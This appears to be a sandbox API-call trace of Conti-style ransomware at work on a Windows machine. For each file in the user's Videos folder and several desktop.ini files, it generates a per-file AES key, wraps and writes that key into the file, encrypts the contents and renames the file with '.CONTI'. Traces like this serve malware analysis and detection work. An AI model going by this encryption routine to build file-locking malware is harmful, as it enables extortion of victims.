	[0146.353] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\9RLCeoKlgB_XuhidAh6.flv" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\9rlceoklgb_xuhidah6.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0146.354] GetLastError () returned 0x0
	[0146.354] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=7755) returned 1
	[0146.354] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e4b
	[0146.354] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.354] SetEndOfFile (hFile=0x35c) returned 1
	[0146.354] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.354] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.354] WriteFile (in: hFile=0x35c, lpBuffer=0x65cec1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65cec1c*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0147.764] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.764] ReadFile (in: hFile=0x35c, lpBuffer=0xc100000, nNumberOfBytesToRead=0x1e4b, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x1e4b, lpOverlapped=0x0) returned 1
	[0147.764] CryptEncrypt (in: hKey=0x17de890, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x1e4b, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x1e50) returned 1
	[0147.764] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.765] WriteFile (in: hFile=0x35c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x1e50, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x1e50, lpOverlapped=0x0) returned 1
	[0147.765] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.765] WriteFile (in: hFile=0x35c, lpBuffer=0x65cec10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65cec10*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0147.765] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.765] CloseHandle (hObject=0x35c) returned 1
	[0147.765] GetProcessHeap () returned 0x1720000
	[0147.765] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0147.766] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\9RLCeoKlgB_XuhidAh6.flv" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\9RLCeoKlgB_XuhidAh6.flv") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\9RLCeoKlgB_XuhidAh6.flv"
	[0147.766] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\9RLCeoKlgB_XuhidAh6.flv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\9RLCeoKlgB_XuhidAh6.flv.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\9RLCeoKlgB_XuhidAh6.flv.CONTI"
	[0147.766] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\9RLCeoKlgB_XuhidAh6.flv" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\9rlceoklgb_xuhidah6.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\9RLCeoKlgB_XuhidAh6.flv.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\9rlceoklgb_xuhidah6.flv.conti")) returned 1
	[0147.767] GetProcessHeap () returned 0x1720000
	[0147.767] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0147.767] CryptDestroyKey (hKey=0x17de890) returned 1
	[0147.767] GetProcessHeap () returned 0x1720000
	[0147.767] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02aa8 | out: hHeap=0x1720000) returned 1
	[0147.767] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0147.767] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65d62b8 | out: phKey=0x65d62b8*=0x17de750) returned 1
	[0147.767] CryptExportKey (in: hKey=0x17de750, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d62bc, pdwDataLen=0x45bfa3c | out: pbData=0x65d62bc*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0147.768] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Nw ZGrWL1c.swf" (normalized: "c:\\users\\fd1hvy\\videos\\nw zgrwl1c.swf")) returned 0x20
	[0147.768] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Nw ZGrWL1c.swf" (normalized: "c:\\users\\fd1hvy\\videos\\nw zgrwl1c.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0147.768] GetLastError () returned 0x0
	[0147.768] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=33296) returned 1
	[0147.769] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x8210
	[0147.769] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.769] SetEndOfFile (hFile=0x35c) returned 1
	[0147.769] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.769] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.769] WriteFile (in: hFile=0x35c, lpBuffer=0x65d62bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65d62bc*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0147.770] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.770] ReadFile (in: hFile=0x35c, lpBuffer=0xc100000, nNumberOfBytesToRead=0x8210, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x8210, lpOverlapped=0x0) returned 1
	[0147.771] CryptEncrypt (in: hKey=0x17de750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x8210, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x8220) returned 1
	[0147.771] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.771] WriteFile (in: hFile=0x35c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x8220, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x8220, lpOverlapped=0x0) returned 1
	[0147.771] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.771] WriteFile (in: hFile=0x35c, lpBuffer=0x65d62b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65d62b0*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0147.771] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.771] CloseHandle (hObject=0x35c) returned 1
	[0147.771] GetProcessHeap () returned 0x1720000
	[0147.771] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0147.771] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\Nw ZGrWL1c.swf" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\Nw ZGrWL1c.swf") returned="C:\\Users\\FD1HVy\\Videos\\Nw ZGrWL1c.swf"
	[0147.772] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\Nw ZGrWL1c.swf", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\Nw ZGrWL1c.swf.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\Nw ZGrWL1c.swf.CONTI"
	[0147.772] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\Nw ZGrWL1c.swf" (normalized: "c:\\users\\fd1hvy\\videos\\nw zgrwl1c.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\Nw ZGrWL1c.swf.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\nw zgrwl1c.swf.conti")) returned 1
	[0147.772] GetProcessHeap () returned 0x1720000
	[0147.772] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0147.772] CryptDestroyKey (hKey=0x17de750) returned 1
	[0147.772] GetProcessHeap () returned 0x1720000
	[0147.772] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181de40 | out: hHeap=0x1720000) returned 1
	[0147.772] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0147.772] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65d5be0 | out: phKey=0x65d5be0*=0x17de9d0) returned 1
	[0147.772] CryptExportKey (in: hKey=0x17de9d0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d5be4, pdwDataLen=0x45bfa3c | out: pbData=0x65d5be4*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0147.773] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\P34SakLlTHKVkGCM.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\p34sakllthkvkgcm.mp4")) returned 0x20
	[0147.773] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\P34SakLlTHKVkGCM.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\p34sakllthkvkgcm.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0147.773] GetLastError () returned 0x0
	[0147.773] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=94899) returned 1
	[0147.773] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x172b3
	[0147.773] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.774] SetEndOfFile (hFile=0x35c) returned 1
	[0147.774] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.774] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.774] WriteFile (in: hFile=0x35c, lpBuffer=0x65d5be4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65d5be4*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0147.775] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.775] ReadFile (in: hFile=0x35c, lpBuffer=0xc100000, nNumberOfBytesToRead=0x172b3, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x172b3, lpOverlapped=0x0) returned 1
	[0147.776] CryptEncrypt (in: hKey=0x17de9d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x172b3, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x172c0) returned 1
	[0147.776] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.776] WriteFile (in: hFile=0x35c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x172c0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x172c0, lpOverlapped=0x0) returned 1
	[0147.777] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.777] WriteFile (in: hFile=0x35c, lpBuffer=0x65d5bd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65d5bd8*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0147.777] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.777] CloseHandle (hObject=0x35c) returned 1
	[0147.777] GetProcessHeap () returned 0x1720000
	[0147.777] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0147.777] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\P34SakLlTHKVkGCM.mp4" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\P34SakLlTHKVkGCM.mp4") returned="C:\\Users\\FD1HVy\\Videos\\P34SakLlTHKVkGCM.mp4"
	[0147.777] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\P34SakLlTHKVkGCM.mp4", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\P34SakLlTHKVkGCM.mp4.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\P34SakLlTHKVkGCM.mp4.CONTI"
	[0147.777] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\P34SakLlTHKVkGCM.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\p34sakllthkvkgcm.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\P34SakLlTHKVkGCM.mp4.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\p34sakllthkvkgcm.mp4.conti")) returned 1
	[0147.778] GetProcessHeap () returned 0x1720000
	[0147.778] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0147.778] CryptDestroyKey (hKey=0x17de9d0) returned 1
	[0147.778] GetProcessHeap () returned 0x1720000
	[0147.778] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740d40 | out: hHeap=0x1720000) returned 1
	[0147.778] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0147.778] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65d3518 | out: phKey=0x65d3518*=0x17de490) returned 1
	[0147.778] CryptExportKey (in: hKey=0x17de490, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d351c, pdwDataLen=0x45bfa3c | out: pbData=0x65d351c*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0147.778] GetFileAttributesW (lpFileName="C:\\Users\\Public\\AccountPictures\\desktop.ini" (normalized: "c:\\users\\public\\accountpictures\\desktop.ini")) returned 0x6
	[0147.779] CreateFileW (lpFileName="C:\\Users\\Public\\AccountPictures\\desktop.ini" (normalized: "c:\\users\\public\\accountpictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0147.779] GetLastError () returned 0x0
	[0147.779] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=196) returned 1
	[0147.779] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xc4
	[0147.780] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.780] SetEndOfFile (hFile=0x35c) returned 1
	[0147.782] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.783] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.783] WriteFile (in: hFile=0x35c, lpBuffer=0x65d351c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65d351c*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0147.784] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.784] ReadFile (in: hFile=0x35c, lpBuffer=0xc100000, nNumberOfBytesToRead=0xc4, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0xc4, lpOverlapped=0x0) returned 1
	[0147.784] CryptEncrypt (in: hKey=0x17de490, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0xc4, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0xd0) returned 1
	[0147.784] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.784] WriteFile (in: hFile=0x35c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0xd0, lpOverlapped=0x0) returned 1
	[0147.784] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.784] WriteFile (in: hFile=0x35c, lpBuffer=0x65d3510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65d3510*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0147.785] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.785] CloseHandle (hObject=0x35c) returned 1
	[0147.785] GetProcessHeap () returned 0x1720000
	[0147.785] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0147.786] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\Public\\AccountPictures\\desktop.ini" | out: lpString1="C:\\Users\\Public\\AccountPictures\\desktop.ini") returned="C:\\Users\\Public\\AccountPictures\\desktop.ini"
	[0147.787] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\Public\\AccountPictures\\desktop.ini.CONTI") returned="C:\\Users\\Public\\AccountPictures\\desktop.ini.CONTI"
	[0147.787] MoveFileW (lpExistingFileName="C:\\Users\\Public\\AccountPictures\\desktop.ini" (normalized: "c:\\users\\public\\accountpictures\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\AccountPictures\\desktop.ini.CONTI" (normalized: "c:\\users\\public\\accountpictures\\desktop.ini.conti")) returned 1
	[0147.787] GetProcessHeap () returned 0x1720000
	[0147.787] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0147.787] CryptDestroyKey (hKey=0x17de490) returned 1
	[0147.787] GetProcessHeap () returned 0x1720000
	[0147.787] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17411c0 | out: hHeap=0x1720000) returned 1
	[0147.787] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0147.787] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65d3760 | out: phKey=0x65d3760*=0x17de5d0) returned 1
	[0147.787] CryptExportKey (in: hKey=0x17de5d0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d3764, pdwDataLen=0x45bfa3c | out: pbData=0x65d3764*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0147.788] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Desktop\\desktop.ini" (normalized: "c:\\users\\public\\desktop\\desktop.ini")) returned 0x26
	[0147.788] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\desktop.ini" (normalized: "c:\\users\\public\\desktop\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0147.788] GetLastError () returned 0x0
	[0147.788] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=174) returned 1
	[0147.789] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xae
	[0147.789] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.789] SetEndOfFile (hFile=0x35c) returned 1
	[0147.790] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.790] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.790] WriteFile (in: hFile=0x35c, lpBuffer=0x65d3764*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65d3764*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0147.791] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.791] ReadFile (in: hFile=0x35c, lpBuffer=0xc100000, nNumberOfBytesToRead=0xae, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0xae, lpOverlapped=0x0) returned 1
	[0147.791] CryptEncrypt (in: hKey=0x17de5d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0xae, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0xb0) returned 1
	[0147.791] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.791] WriteFile (in: hFile=0x35c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0xb0, lpOverlapped=0x0) returned 1
	[0147.792] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.792] WriteFile (in: hFile=0x35c, lpBuffer=0x65d3758*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65d3758*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0147.792] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.792] CloseHandle (hObject=0x35c) returned 1
	[0147.792] GetProcessHeap () returned 0x1720000
	[0147.792] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
